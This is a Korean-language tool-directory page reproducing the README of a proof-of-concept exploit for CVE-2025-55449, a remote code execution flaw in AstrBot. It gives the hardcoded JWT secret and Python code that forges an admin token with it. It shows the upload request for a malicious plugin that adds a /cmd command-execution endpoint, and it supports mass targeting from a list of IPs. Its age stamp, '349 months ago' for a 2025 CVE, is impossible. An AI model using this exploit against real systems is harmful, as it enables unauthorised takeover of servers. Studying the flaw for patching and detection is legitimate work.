Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/xhh1h/cve-2025-55449
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationAuthenticationPayload Development
GitHubxhh1h/cve-2025-55449

CVE-2025-55449

CVE-2025-55449 EXP

저장소 보기
349개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55449 - AstrBot 원격 코드 실행(RCE) 취약점

개요

이 저장소는 AstrBot의 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2025-55449에 대한 개념 증명 익스플로잇을 포함합니다. 이 취약점은 취약한 JWT 인증과 플러그인 설치 메커니즘을 악용하여 공격자가 대상 시스템에서 임의 코드를 실행할 수 있게 합니다.

취약점 설명

이 취약점은 다음으로 인해 발생합니다:

  1. 하드코딩된 JWT 비밀 키: AstrBot은 인증을 위해 하드코딩된 JWT 비밀 키(Advanced_System_for_Text_Response_and_Bot_Operations_Tool)를 사용하므로 공격자가 유효한 인증 토큰을 위조할 수 있습니다.

  2. 제한 없는 플러그인 설치: /api/plugin/install-upload 엔드포인트는 인증된 사용자가 적절한 검증 없이 플러그인을 업로드하고 설치할 수 있게 하여 임의의 Python 코드 실행을 가능하게 합니다.

  3. 플러그인 시스템을 통한 코드 실행: 플러그인 시스템은 플러그인이 애플리케이션의 라우팅을 수정하고 Flask/Quart 애플리케이션 인스턴스를 통해 임의의 명령을 실행할 수 있게 합니다.

기술적 세부 사항

공격 벡터

  1. JWT 토큰 위조: 익스플로잇은 하드코딩된 비밀 키를 사용하여 관리자 권한이 있는 JWT 토큰을 위조합니다.

  2. 코드 실행 취약점: 백엔드의 원격 코드 실행 취약점은 애플리케이션에 내장된 플러그인 확장 기능을 악용하여 사용자가 사용자 정의 플러그인 패키지를 업로드할 수 있게 합니다. 프로그램은 패키지의 압축을 풀고, 플러그인의 정보를 읽은 다음, 객체의 Python 파일을 가져와서 코드를 실행합니다.

익스플로잇 흐름

root@kitploit:~
1. Forge JWT token with hardcoded secret
2. Create malicious plugin ZIP file
3. POST to /api/plugin/install-upload with forged token
4. Plugin installs and adds /cmd endpoint
5. Execute commands via /cmd?cmd=<command>

요구 사항

  • Python 3.6+
  • 필요한 Python 패키지:
    • jwt (PyJWT)
    • requests
    • zipfile (내장)
    • argparse (내장)
    • datetime (내장)
    • pathlib (내장)

설치

  1. 이 저장소를 클론합니다:
root@kitploit:~
git clone <repository-url>
cd CVE-2025-55449
  1. 필요한 의존성을 설치합니다:
root@kitploit:~
pip install PyJWT requests

사용법

단일 대상

단일 대상 URL에 대해 익스플로잇을 실행합니다:

root@kitploit:~
python main.py http://target-ip:port

다중 대상

한 줄에 하나의 URL이 있는 파일(ip.txt)을 생성합니다:

root@kitploit:~
http://target1:6185
http://target2:6185
http://target3:6185

그런 다음 실행합니다:

root@kitploit:~
python main.py -r ip.txt

예시 출력

익스플로잇이 성공하면 스크립트는 다음을 출력합니다:

root@kitploit:~
http://target-ip:port/cmd?cmd=id

그런 다음 다음에 접근하여 명령을 실행할 수 있습니다:

root@kitploit:~
http://target-ip:port/cmd?cmd=<your-command>

예를 들어:

root@kitploit:~
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la

프로젝트 구조

root@kitploit:~
CVE-2025-55449/
├── main.py                 # Main exploit script
├── ip.txt                  # Example target URLs file
├── README.md              # This file
└── helloworld/            # Malicious plugin directory
    ├── main.py            # Plugin code that adds /cmd endpoint
    ├── metadata.yaml      # Plugin metadata
    ├── LICENSE            # Plugin license
    └── README.md          # Plugin readme

작동 방식

JWT 토큰 위조

익스플로잇은 하드코딩된 JWT 비밀 키를 사용하여 유효한 인증 토큰을 생성합니다:

root@kitploit:~
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")

악성 플러그인

플러그인(helloworld/main.py)은 Python의 import 시스템과 Flask/Quart의 애플리케이션 인스턴스를 악용하여 새 경로를 주입합니다:

root@kitploit:~
# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()

플러그인 업로드

익스플로잇은 플러그인을 ZIP 파일로 패키징하고 인증된 엔드포인트를 통해 업로드합니다:

root@kitploit:~
requests.post(
    url + "/api/plugin/install-upload",
    headers={"Authorization": "Bearer " + forged},
    files={"file": (name + ".zip", zip_payload_bytes)}
)
도구 다운로드